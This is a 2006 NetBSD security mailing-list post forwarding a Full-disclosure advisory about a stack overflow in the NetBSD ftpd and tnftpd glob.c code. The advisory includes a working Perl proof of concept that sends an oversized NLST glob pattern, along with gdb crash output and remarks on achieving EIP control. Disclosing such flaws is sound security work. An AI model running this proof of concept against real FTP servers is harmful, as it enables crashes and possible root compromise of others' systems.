Subject: [Fwd: [Full-disclosure] NetBSD FTPD and ports ***REMOTE ROOOOOT
To: None <tech-security@NetBSD.org>
From: Lubomir Kundrak <lkundrak@redhat.com>
List: tech-security
Date: 12/01/2006 10:02:45
-------- Forwarded Message --------
> Od: kcope <kingcope@gmx.net>
> Komu: full-disclosure@lists.grok.org.uk
> Predmet: [Full-disclosure] NetBSD FTPD and ports ***REMOTE ROOOOOT
> HOLE***
> Dátum: Fri, 01 Dec 2006 01:25:14 +0100
>
> LAMERZ!!!!!
> KEEP ON HACKING!!! KEEP THAT *FUCK*ING PRIVATE!!!
>
> Greetings to the elite guys, thank you for your time.
>
> signed,
> ***eliteboy***
>
> $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
>
> About
>
> tnftpd is a port of the NetBSD FTP server to other systems.
> It offers many enhancements over the traditional BSD ftpd,
> including per-class configuration directives via ftpd.conf(5),
> RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
> transfer rate throttling, and more.
> tnftpd was formerly known as lukemftpd,
> and earlier versions are present in Mac OS X 10.2 (as ftpd)
> and FreeBSD 5.0 (as lukemftpd).
>
> Description
>
> The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
> which can lead to a root compromise.
>
> The bug is in glob.c file. The globbing mechanism is flawed as back in
> 2001.
>
> To trigger the overflow you can create a folder and use the globbing
> special characters (like STARS) to overflow an internal stack based buffer.
> Example PoC:
> ---snip---
> use IO::Socket;
>
> $sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
> PeerPort => '21',
> Proto => 'tcp');
> $c = "C";
> $a = "C" x 255;
> $d = "A" x 450;
>
> print $sock "USER kcope\r\n";
> print $sock "PASS remoteroot\r\n";
> $x = <stdin>;
> print $sock "MKD $a\r\n";
> print $sock "NLST C*/../C*/../C*/../$d\r\n";
> print $sock "QUIT\r\n";
>
> while (<$sock>) {
> print;
> }
> ---snip---
>
> gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
> (gdb) c
> Continuing.
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x00410041 in ?? ()
> (gdb)
>
>
>
>
> tnftpd-20040810 behaves similar.
> FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
> however they could have the same bug, because of the same
> codebase.
>
> The problem when exploiting this kind of bug is,
> that we can only control 0x00410041, not the whole
> 32 bit. However it looks feasible to find a way
> to do a hole EIP redirection and/or exploit
> the bug the "unicode" way, which could be especially
> hard on BSD systems.
>
--
Lubomir Kundrak (Red Hat Security Response Team)